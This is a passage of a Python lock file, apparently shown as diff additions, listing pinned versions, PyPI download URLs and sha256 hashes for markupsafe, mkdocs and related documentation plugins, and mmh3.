"https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" }, + { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" }, + { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" }, + { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" }, + { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" }, + { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" }, + { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" }, + { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" }, + { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" }, + { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" }, + { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" }, + { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" }, + { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" }, + { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" }, + { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" }, + { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" }, + { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" }, + { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" }, + { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" }, + { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" }, + { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" }, + { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" }, + { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" }, + { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" }, + { url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" }, + { url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" }, + { url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" }, + { url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" }, + { url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" }, + { url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" }, + { url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" }, + { url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" }, + { url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" }, + { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" }, +] + +[[package]] +name = "mergedeep" +version = "1.3.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3a/41/580bb4006e3ed0361b8151a01d324fb03f420815446c7def45d02f74c270/mergedeep-1.3.4.tar.gz", hash = "sha256:0096d52e9dad9939c3d975a774666af186eda617e6ca84df4c94dec30004f2a8", size = 4661, upload-time = "2021-02-05T18:55:30.623Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2c/19/04f9b178c2d8a15b076c8b5140708fa6ffc5601fb6f1e975537072df5b2a/mergedeep-1.3.4-py3-none-any.whl", hash = "sha256:70775750742b25c0d8f36c55aed03d24c3384d17c951b3175d898bd778ef0307", size = 6354, upload-time = "2021-02-05T18:55:29.583Z" }, +] + +[[package]] +name = "mike" +version = "2.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "importlib-metadata" }, + { name = "importlib-resources" }, + { name = "jinja2" }, + { name = "mkdocs" }, + { name = "pyparsing" }, + { name = "pyyaml" }, + { name = "pyyaml-env-tag" }, + { name = "verspec" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ab/f7/2933f1a1fb0e0f077d5d6a92c6c7f8a54e6128241f116dff4df8b6050bbf/mike-2.1.3.tar.gz", hash = "sha256:abd79b8ea483fb0275b7972825d3082e5ae67a41820f8d8a0dc7a3f49944e810", size = 38119, upload-time = "2024-08-13T05:02:14.167Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fd/1a/31b7cd6e4e7a02df4e076162e9783620777592bea9e4bb036389389af99d/mike-2.1.3-py3-none-any.whl", hash = "sha256:d90c64077e84f06272437b464735130d380703a76a5738b152932884c60c062a", size = 33754, upload-time = "2024-08-13T05:02:12.515Z" }, +] + +[[package]] +name = "mkdocs" +version = "1.6.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "ghp-import" }, + { name = "jinja2" }, + { name = "markdown" }, + { name = "markupsafe" }, + { name = "mergedeep" }, + { name = "mkdocs-get-deps" }, + { name = "packaging" }, + { name = "pathspec" }, + { name = "pyyaml" }, + { name = "pyyaml-env-tag" }, + { name = "watchdog" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bc/c6/bbd4f061bd16b378247f12953ffcb04786a618ce5e904b8c5a01a0309061/mkdocs-1.6.1.tar.gz", hash = "sha256:7b432f01d928c084353ab39c57282f29f92136665bdd6abf7c1ec8d822ef86f2", size = 3889159, upload-time = "2024-08-30T12:24:06.899Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/22/5b/dbc6a8cddc9cfa9c4971d59fb12bb8d42e161b7e7f8cc89e49137c5b279c/mkdocs-1.6.1-py3-none-any.whl", hash = "sha256:db91759624d1647f3f34aa0c3f327dd2601beae39a366d6e064c03468d35c20e", size = 3864451, upload-time = "2024-08-30T12:24:05.054Z" }, +] + +[[package]] +name = "mkdocs-autorefs" +version = "1.4.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown" }, + { name = "markupsafe" }, + { name = "mkdocs" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/52/c0/f641843de3f612a6b48253f39244165acff36657a91cc903633d456ae1ac/mkdocs_autorefs-1.4.4.tar.gz", hash = "sha256:d54a284f27a7346b9c38f1f852177940c222da508e66edc816a0fa55fc6da197", size = 56588, upload-time = "2026-02-10T15:23:55.105Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/28/de/a3e710469772c6a89595fc52816da05c1e164b4c866a89e3cb82fb1b67c5/mkdocs_autorefs-1.4.4-py3-none-any.whl", hash = "sha256:834ef5408d827071ad1bc69e0f39704fa34c7fc05bc8e1c72b227dfdc5c76089", size = 25530, upload-time = "2026-02-10T15:23:53.817Z" }, +] + +[[package]] +name = "mkdocs-extra-sass-plugin" +version = "0.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "beautifulsoup4" }, + { name = "libsass" }, + { name = "mkdocs" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8e/09/96284d51afae05aa35ffb17617a4ef819c06852bea566b935a1c1119660c/mkdocs-extra-sass-plugin-0.1.0.tar.gz", hash = "sha256:cca7ae778585514371b22a63bcd69373d77e474edab4b270cf2924e05c879219", size = 4973, upload-time = "2021-01-30T04:20:44.677Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ed/25/620659b5f9390b9b3ce2c0017cd3aef76d112a87bc2800640bdc2727b597/mkdocs_extra_sass_plugin-0.1.0-py3-none-any.whl", hash = "sha256:10aa086fa8ef1fc4650f7bb6927deb7bf5bbf5a2dd3178f47e4ef44546b156db", size = 5352, upload-time = "2021-01-30T04:20:46.064Z" }, +] + +[[package]] +name = "mkdocs-get-deps" +version = "0.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mergedeep" }, + { name = "platformdirs" }, + { name = "pyyaml" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/98/f5/ed29cd50067784976f25ed0ed6fcd3c2ce9eb90650aa3b2796ddf7b6870b/mkdocs_get_deps-0.2.0.tar.gz", hash = "sha256:162b3d129c7fad9b19abfdcb9c1458a651628e4b1dea628ac68790fb3061c60c", size = 10239, upload-time = "2023-11-20T17:51:09.981Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9f/d4/029f984e8d3f3b6b726bd33cafc473b75e9e44c0f7e80a5b29abc466bdea/mkdocs_get_deps-0.2.0-py3-none-any.whl", hash = "sha256:2bf11d0b133e77a0dd036abeeb06dec8775e46efa526dc70667d8863eefc6134", size = 9521, upload-time = "2023-11-20T17:51:08.587Z" }, +] + +[[package]] +name = "mkdocs-material" +version = "9.7.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "babel" }, + { name = "backrefs" }, + { name = "colorama" }, + { name = "jinja2" }, + { name = "markdown" }, + { name = "mkdocs" }, + { name = "mkdocs-material-extensions" }, + { name = "paginate" }, + { name = "pygments" }, + { name = "pymdown-extensions" }, + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/27/e2/2ffc356cd72f1473d07c7719d82a8f2cbd261666828614ecb95b12169f41/mkdocs_material-9.7.1.tar.gz", hash = "sha256:89601b8f2c3e6c6ee0a918cc3566cb201d40bf37c3cd3c2067e26fadb8cce2b8", size = 4094392, upload-time = "2025-12-18T09:49:00.308Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3e/32/ed071cb721aca8c227718cffcf7bd539620e9799bbf2619e90c757bfd030/mkdocs_material-9.7.1-py3-none-any.whl", hash = "sha256:3f6100937d7d731f87f1e3e3b021c97f7239666b9ba1151ab476cabb96c60d5c", size = 9297166, upload-time = "2025-12-18T09:48:56.664Z" }, +] + +[[package]] +name = "mkdocs-material-extensions" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/79/9b/9b4c96d6593b2a541e1cb8b34899a6d021d208bb357042823d4d2cabdbe7/mkdocs_material_extensions-1.3.1.tar.gz", hash = "sha256:10c9511cea88f568257f960358a467d12b970e1f7b2c0e5fb2bb48cab1928443", size = 11847, upload-time = "2023-11-22T19:09:45.208Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5b/54/662a4743aa81d9582ee9339d4ffa3c8fd40a4965e033d77b9da9774d3960/mkdocs_material_extensions-1.3.1-py3-none-any.whl", hash = "sha256:adff8b62700b25cb77b53358dad940f3ef973dd6db797907c49e3c2ef3ab4e31", size = 8728, upload-time = "2023-11-22T19:09:43.465Z" }, +] + +[[package]] +name = "mkdocstrings" +version = "0.30.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jinja2" }, + { name = "markdown" }, + { name = "markupsafe" }, + { name = "mkdocs" }, + { name = "mkdocs-autorefs" }, + { name = "pymdown-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c5/33/2fa3243439f794e685d3e694590d28469a9b8ea733af4b48c250a3ffc9a0/mkdocstrings-0.30.1.tar.gz", hash = "sha256:84a007aae9b707fb0aebfc9da23db4b26fc9ab562eb56e335e9ec480cb19744f", size = 106350, upload-time = "2025-09-19T10:49:26.446Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7b/2c/f0dc4e1ee7f618f5bff7e05898d20bf8b6e7fa612038f768bfa295f136a4/mkdocstrings-0.30.1-py3-none-any.whl", hash = "sha256:41bd71f284ca4d44a668816193e4025c950b002252081e387433656ae9a70a82", size = 36704, upload-time = "2025-09-19T10:49:24.805Z" }, +] + +[[package]] +name = "mkdocstrings-python" +version = "2.0.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "griffe" }, + { name = "mkdocs-autorefs" }, + { name = "mkdocstrings" }, + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/25/84/78243847ad9d5c21d30a2842720425b17e880d99dfe824dee11d6b2149b4/mkdocstrings_python-2.0.2.tar.gz", hash = "sha256:4a32ccfc4b8d29639864698e81cfeb04137bce76bb9f3c251040f55d4b6e1ad8", size = 199124, upload-time = "2026-02-09T15:12:01.543Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f3/31/7ee938abbde2322e553a2cb5f604cdd1e4728e08bba39c7ee6fae9af840b/mkdocstrings_python-2.0.2-py3-none-any.whl", hash = "sha256:31241c0f43d85a69306d704d5725786015510ea3f3c4bdfdb5a5731d83cdc2b0", size = 104900, upload-time = "2026-02-09T15:12:00.166Z" }, +] + +[[package]] +name = "mmh3" +version = "5.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a7/af/f28c2c2f51f31abb4725f9a64bc7863d5f491f6539bd26aee2a1d21a649e/mmh3-5.2.0.tar.gz", hash = "sha256:1efc8fec8478e9243a78bb993422cf79f8ff85cb4cf6b79647480a31e0d950a8", size = 33582, upload-time = "2025-07-29T07:43:48.49Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b9/2b/870f0ff5ecf312c58500f45950751f214b7068665e66e9bfd8bc2595587c/mmh3-5.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:81c504ad11c588c8629536b032940f2a359dda3b6cbfd4ad8f74cb24dcd1b0bc", size = 56119, upload-time = "2025-07-29T07:41:39.117Z" }, + { url = "https://files.pythonhosted.org/packages/3b/88/eb9a55b3f3cf43a74d6bfa8db0e2e209f966007777a1dc897c52c008314c/mmh3-5.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0b898cecff57442724a0f52bf42c2de42de63083a91008fb452887e372f9c328", size = 40634, upload-time = "2025-07-29T07:41:40.626Z" }, + { url = "https://files.pythonhosted.org/packages/d1/4c/8e4b3878bf8435c697d7ce99940a3784eb864521768069feaccaff884a17/mmh3-5.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:be1374df449465c9f2500e62eee73a39db62152a8bdfbe12ec5b5c1cd451344d", size = 40080, upload-time = "2025-07-29T07:41:41.791Z" }, + { url = "https://files.pythonhosted.org/packages/45/ac/0a254402c8c5ca424a0a9ebfe870f5665922f932830f0a11a517b6390a09/mmh3-5.2.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b0d753ad566c721faa33db7e2e0eddd74b224cdd3eaf8481d76c926603c7a00e", size = 95321, upload-time = "2025-07-29T07:41:42.659Z" }, + { url = "https://files.pythonhosted.org/packages/39/8e/29306d5eca6dfda4b899d22c95b5420db4e0ffb7e0b6389b17379654ece5/mmh3-5.2.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:dfbead5575f6470c17e955b94f92d62a03dfc3d07f2e6f817d9b93dc211a1515", size = 101220, upload-time = "2025-07-29T07:41:43.572Z" }, + { url = "https://files.pythonhosted.org/packages/49/f7/0dd1368e531e52a17b5b8dd2f379cce813bff2d0978a7748a506f1231152/mmh3-5.2.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7434a27754049144539d2099a6d2da5d88b8bdeedf935180bf42ad59b3607aa3", size = 103991, upload-time = "2025-07-29T07:41:44.914Z" }, + { url = "https://files.pythonhosted.org/packages/35/06/abc7122c40f4abbfcef01d2dac6ec0b77ede9757e5be8b8a40a6265b1274/mmh3-5.2.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cadc16e8ea64b5d9a47363013e2bea469e121e6e7cb416a7593aeb24f2ad122e", size = 110894, upload-time = "2025-07-29T07:41:45.849Z" }, + { url = "https://files.pythonhosted.org/packages/f4/2f/837885759afa4baccb8e40456e1cf76a4f3eac835b878c727ae1286c5f82/mmh3-5.2.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d765058da196f68dc721116cab335e696e87e76720e6ef8ee5a24801af65e63d", size = 118327, upload-time = "2025-07-29T07:41:47.224Z" }, + { url = 